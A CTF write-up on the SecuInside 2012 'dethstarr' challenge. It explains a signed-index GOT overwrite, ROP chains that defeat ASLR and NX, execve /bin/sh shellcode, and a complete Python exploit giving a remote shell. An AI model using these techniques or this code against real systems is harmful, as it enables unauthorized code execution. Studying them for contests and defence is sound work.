-
SecuInside2K12 Prequals: dethstarr writeup
Written by Samuel Chevet
June 11, 2012 at 16:22Dethstarr was one of my favorite service exploitation challenges during the SecuInside 2012 contest. We had to fully reverse a given binary to understand how the protocol it implements works. To be able to debug the binary easily and in the same environment as on the remote server, we setup xinetd on a CentOS 6.2 Virtual Machine with the following configuration:
1 2 3 4 5 6 7 8 9 10
service dethstarr { socket_type = stream wait = no flags = REUSE user = w4kfu server = /home/w4kfu/LSE/CTF/SecuInside_2012/dethstarr/dethstarr port = 4242 type = UNLISTED }To trigger the bug, we have to understand how the protocol works in detail. Looking at the disassembled code, we can figure out 4 different functions that will first read a certain number of bytes, check if it matches several conditions, then read again on the socket with a user specified size (limited to avoid buffer overflows).
First check function
1 2 3 4 5 6
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0xCA | 0x0 | 0x1 | 0xAC | 0x9A | 0x1 | 0x0 | 0x00010001| 0x54534e49 | 0x1F | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0xCA | 0x0 | 0x1 | 0xAC | 0x9A | 0x1 | 0x0 | 0x00010001| 0x54534e49 | 0x1F | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The last 0x1F is the size for the last
readcall of that function (no overflow can occur)Second check function
1 2 3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0x8 | 0x1 | 0x1 | 0x0DFE1ABCC | <global_var> | 0x1 | 0xFF| -42 | 0x66| 0x756C| 0xFF| 0x60|0x7FFFFFFF |0x9C |0x1F| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The
global_varis set before each call to the check function.Third check function
1 2 3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0x001A00CB|0x000200DB |0x41420019 |0x6|0x1|0xCA |0xCCCCCCCC | <global_var> | 0x1F| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fourth check function
1 2 3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | <addr>| 0x31323301|<index>|<index>|0x9|0x9|0x1|0xFFFF|0xFFFF0000|0x4|0x00e10052 |<global_var> |0x1F | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Inside this fourth check function lies the vulnerability of this challenge: the index field (
[eax+8]) is tested to be under0x1Fusing a signed compare, which allows negative values:1 2 3 4 5 6 7 8
.text:080488EE mov eax, [eax+8] .text:080488F1 cmp eax, 1Fh .text:080488F4 jle short loc_8048909 .text:0804893A mov eax, [eax+8] .text:0804893D mov edx, [ebp+buf] .text:08048940 mov edx, [edx] .text:08048942 mov ds:dword_804A8E0[eax*4], edx
Using this we are able to dereference a negative offset inside a global array and write anything we want in it. I choose to rewrite the
exit()function address from inside the GOT. Then, when the check function called after this vulnerability fails, it will fail callingexitand jump to the address we specified. The binary contains a nice function epilogue we can use to overflow one of the program's buffer:1 2 3 4 5 6 7 8 9 10 11 12 13
.text:08049518 mov [esp+8], eax ; nbytes .text:0804951C lea eax, [ebp+var_31] .text:0804951F mov [esp+4], eax ; buf .text:08049523 mov dword ptr [esp], 0 ; fd .text:0804952A call _read .text:0804952F mov eax, 0 .text:08049534 .text:08049534 end_function: ; CODE XREF: first_check_buff+65j .text:08049534 ; first_check_buff+8Cj ... .text:08049534 add esp, 44h .text:08049537 pop ebx .text:08049538 pop ebp .text:08049539 retn
The interesting thing is that the exit function is triggered with
eaxbeing the invalid size we specified (making the check fail). That means we control this register value, which is used as thereadsize.After triggering this bug, we can start using ROP to build a shellcode that will bypass ASLR and NX. The shellcode will leak an address from the GOT to allow us to locate
libc.so.6in memory and build a second stage shellcode using this additional information.First stage ROP chain
1 2 3
0x080495B2 # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret 0x41424344 # Dummy 0x08049515 # Addres inside First check before read
Now we have the size we want in eax, which allow us to create a buffer overflow when
readis called inside 0x0804928D (a.k.a first check function).Second stage ROP chain
1 2 3 4 5
0x080483C4 # Address of the write function in .plt 0x08048DDA # Return Address Second check mov ebp, esp 0x00000001 # File descriptor (stdout) 0x0804A7BC # Address we want to write from: read@.got.plt 0x00000004 # Size of the write
Now that we have the
readaddress from the GOT, weretagain on the second check function (it is similar to the first stage ROP chain) and re-trigger the buffer overflow to prepare for stage 3.Third stage ROP chain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<write_addr> + 0xca60 # Computed address of mmap (libc.so.6) 0x080495B2 # add esp, 1C ; pop ; pop ; pop ; pop ; ret // clean mmap args 0x13370000 # Address to map 0x00001000 # Size to map 0x00000007 # RWX 0x00000031 # MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS 0xffffffff # fd 0x00000000 # offset (ignored) ... DUMMY * 20 ... 0x080483F4 # read@.plt 0x13370000 # Return adress: our shellcode 0x00000000 # fd 0x13370000 # Address to read to len(shellcode) # Length of shellcode
This ROP chain will call
mmapto a fixed address and read our shellcode (execve /bin/sh) and jump to it.Finally this exploit works well both locally and remotely, and we were able to get the flag in the
/home/dethstarr/keyfile. Later on we also used this exploit to get the system time of the server (usingdate) in order to synchronize ourself with theclassicoservice challenge.Here is the final exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171
import socket import struct import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #s.connect(("61.42.25.25", 8282)) s.connect(("192.168.103.61", 4242)) def first_check(): cmd = struct.pack("<I", 0xCA) cmd += struct.pack("<I", 0x0) cmd += struct.pack("<I", 0x1) cmd += struct.pack("<I", 0xAC) cmd += struct.pack("<I", 0x9A) cmd += struct.pack("<I", 0x1) cmd += struct.pack("<I", 0x00000000) cmd += struct.pack("<I", 0x00010001) cmd += struct.pack("<I", 0x54534e49) cmd += struct.pack("<I", 0x1F) #sys.stdout.write(cmd) s.send(cmd) cmd = "A" * (0x1F) #sys.stdout.write(cmd) s.send(cmd) def second_check(x, size, cmd2, a): cmd = struct.pack("<I", a) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0x0DFE1ABCC) # Switch case cmd += struct.pack("<I", x) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0xFF) cmd += struct.pack("<i", -0x42) cmd += struct.pack("<I", 0x66) cmd += struct.pack("<I", 0x756C) cmd += struct.pack("<I", 0xFF) cmd += struct.pack("<I", 0x60) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0x7FFFFFFF) cmd += struct.pack("<I", 0x9C) cmd += struct.pack("<I", size) #sys.stdout.write(cmd) s.send(cmd) #sys.stdout.write(cmd) s.send(cmd2) def third_check(): for i in [1, 0, 2]: cmd = struct.pack("<I", 0x001A00CB) cmd += struct.pack("<I", 0x000200DB) cmd += struct.pack("<I", 0x41420019) cmd += struct.pack("<I", 0x6) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0xCA) cmd += struct.pack("<I", 0xCCCCCCCC) # index cmd += struct.pack("<I", i) cmd += struct.pack("<I", 0x1F) #sys.stdout.write(cmd) s.send(cmd) cmd = "A" * (0x1F) #sys.stdout.write(cmd) s.send(cmd) def fourth_check(x, y, addr): cmd = struct.pack("<I", addr) cmd += struct.pack("<I", 0x31323301) cmd += struct.pack("<i", y) cmd += struct.pack("<i", y) cmd += struct.pack("<I", 0x9) cmd += struct.pack("<I", 0x9) cmd += struct.pack("<I", 0x1) cmd += struct.pack("<I", 65535) cmd += struct.pack("<i", -65536) cmd += struct.pack("<I", 0x4) cmd += struct.pack("<I", 0x00e10052) # index !! cmd += struct.pack("<I", x) cmd += struct.pack("<I", 0x1F) #sys.stdout.write(cmd) s.send(cmd) cmd = "A" * 0x1F s.send(cmd) first_check() print s.recv(0x60) #raw_input() for x in xrange(1, 6): if x == 2: continue second_check(x, 0x1F, "A" * 0x1F, 0x8) print s.recv(0x44) third_check() print s.recv(0x78) fourth_check(3, -2, 0x4214242) print s.recv(0x78) fourth_check(0, -2, 0x414242) print s.recv(0x48) print s.recv(0x78) fourth_check(0, -2, 0x414242) print s.recv(0x78) # Overwrite exit() fourth_check(2, -65, 0x08049518) print s.recv(0x78) cmd = "B" * 9 cmd += struct.pack("<I", 0x080495B2) # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret cmd += struct.pack("<I", 0x41424344) # Dummy cmd += struct.pack("<I", 0x08049515) # Addres inside First check before read cmd += "B" * 10 second_check(5, 0x100, cmd, 8) size_payload = 0 max_size = 0x100 payload = "B" * 26 payload += struct.pack("<I", 0x080483C4) # .plt write payload += struct.pack("<I", 0x08048DDA) # ret addr second check : mov ebp, esp payload += struct.pack("<I", 0x00000001) # fd payload += struct.pack("<I", 0x0804A7BC) # .got.plt write payload += struct.pack("<I", 0x00000004) # size write s.send(payload + "B" * 20 + "X" * (0x100 - len(payload) - 20 - len(cmd))) print s.recv(65536) # RECV ADDR WRITE d = s.recv(4) write_addr = struct.unpack("<I", d)[0] print "Write_addr =", hex(write_addr) cmd = "B" * 9 cmd += struct.pack("<I", 0x080495B2) # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret cmd += struct.pack("<I", 0x41424344) # Dummy cmd += struct.pack("<I", 0x08049515) # Address inside First check before read cmd += "B" * 10 second_check(5, 0x100, cmd, 8) payload = "B" * 26 payload += struct.pack("<I", write_addr + 0xca60) # Addr mmap payload += struct.pack("<I", 0x080495B2) # addp esp, 0x1C ; pop; pop ; pop ; pop ; ret payload += struct.pack("<I", 0x13370000) # Addr payload += struct.pack("<I", 4096) # Size payload += struct.pack("<I", 7) # rwx payload += struct.pack("<I", 49) # MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS payload += struct.pack("<I", 0xffffffff) # -1 payload += struct.pack("<I", 0) # osef payload += "B" * 20 shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" payload += struct.pack("<I", 0x080483F4) # .plt read payload += struct.pack("<I", 0x13370000) # return addr shellcode payload += struct.pack("<I", 0x00000000) # fd payload += struct.pack("<I", 0x13370000) # addr to read payload += struct.pack("<I", len(shellcode))# len of shellcode s.send(payload + "X" * (0x100 - len(payload) - len(cmd))) s.send(shellcode) while True: print ">", cmd = raw_input() if not cmd: break s.send(cmd + "\n") sys.stdout.write(s.recv(65536) + "\n")
Thanks to the SecuIniside CTF organizers for all these awesome binaries!
Tweetblog comments powered by DisqusPermalink & comments